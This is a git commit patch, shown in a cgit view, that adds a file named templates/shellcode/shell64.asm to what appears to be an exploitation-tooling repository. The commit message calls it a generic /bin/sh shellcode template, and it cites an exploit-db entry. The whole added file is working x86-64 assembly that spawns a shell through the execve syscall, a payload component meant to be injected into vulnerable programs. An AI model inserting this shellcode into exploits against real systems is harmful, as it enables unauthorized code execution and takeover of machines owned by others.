From e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097 Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 22 Aug 2021 05:52:56 -0400 Subject: Add generic /bin/sh shellcode templates Signed-off-by: Malfurious --- templates/shellcode/shell64.asm | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 templates/shellcode/shell64.asm (limited to 'templates/shellcode/shell64.asm') diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm new file mode 100644 index 0000000..a6d4626 --- /dev/null +++ b/templates/shellcode/shell64.asm @@ -0,0 +1,15 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/47008 + +_start: + xor rsi, rsi + push rsi + mov rdi, 0x68732f2f6e69622f + push rdi + push rsp + pop rdi + mov al, 0x3b + cdq + syscall -- cgit v1.2.3